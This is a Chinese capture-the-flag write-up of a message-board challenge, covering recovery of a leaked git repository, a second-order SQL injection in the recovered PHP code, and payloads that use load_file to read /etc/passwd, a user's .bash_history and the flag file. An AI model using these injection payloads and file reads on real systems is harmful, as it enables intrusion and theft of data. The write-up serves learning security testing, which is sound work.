学习了不少知识…………
进入题目是一个留言板,留言需要登录,先不管……发现存在git泄露,上githack:
write_do:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': break; case 'comment': break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
|
关键这玩意没啥用啊……学习一波git恢复
gitExtract工具似乎会自动恢复泄露文件……回去试试……
git恢复
https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html
git reset 使用及回滚
git的工作区和暂存区
git log 详解
提交一个文件的时候是分为git add
、git commit
两步的
当git add
的时候,是把文件临时放在临时区stage中
当git commit
的时候,是把临时区stage的所有内容提交到当前分支
当然这两个在objects目录都会生成一个对象文件,来存储数据。
我们使用 git add 命令将内容写入暂存区。 git commit 命令会将暂存区内容添加到本地仓库中
这里要结合GitHacker使用,githacker似乎在获取泄露文件上能够获取到更详尽的信息。
个人体验:GitHacker要在linux上用,需要python的requests……
这里我们通过:git log查看commit history:
git reset回滚未commit版本前已经commit的网页源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
|
类似刚做过的CyberPunk,对输入做了转义,然而$category = mysql_fetch_array($result)['category'];
却直接抓取了结果,也就是说,存在二次注入。
二次注入
1 2 3 4 5
| $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql);
|
这里即是关键的注入点,content会取出未转义的单引号进行闭合
关键是如何构造,这是十分关键的
注意:这里的content是commend的content,不是帖子的content
这里的sql语句是多行的,注释需要用多行注释:
令category=’,content=database(),/,在留言中输入\/#:
1 2 3 4 5
| $sql = "insert into comment set category = '',content=database(),/*', content = '*/#', bo_id = '$bo_id'"; $result = mysql_query($sql);
|
这样构造,/**/
注释掉跨行'
,#注释掉后面的单引号,content就会成功被我们劫持,我们在留言后语句就会成功执行完成注入。
但是注库名时发现没有回显,一番尝试……放弃……
load_file读取passwd:
https://www.cnblogs.com/songxingzhu/p/6364700.html
最下面有一个www用户,目录为/home/www,默认shell为bin/bash,由此可以查一下该用户的shell历史:
.bash_history
https://blog.csdn.net/u011479200/article/details/86501366
命令记录.bash_history
查下/home/www/下的命令使用历史:
1 2 3 4 5 6 7
| cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
|
.DS_Store似乎是一种泄露,在网页上线前删掉了,但是/tmp/html中应该是存在的:
读取发现是乱码且显示不完整,用hex()读取:
1 2
| Bud1 strapIl bootstrapIlocblobF(������comment.phpIlocblob�(��cssIlocblobR(������flag_8946e1ff1ee3e40f.phpIlocblob�(������fontsIlocblobF������� index.phpIlocblob����jsIlocblobR������� login.phpIlocblob�������� mysql.phpIlocblobF������vendorIlocblob�������write_do.phpIlocblobR������ @� @� @� @E
|
发现flag_8946e1ff1ee3e40f.php,可以着手读flag了……
我寻思哪个目录下的flag文件应该都一样,结果不一样,必须读/var/www/html/下面的……
category=',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*
获得flag……
……tql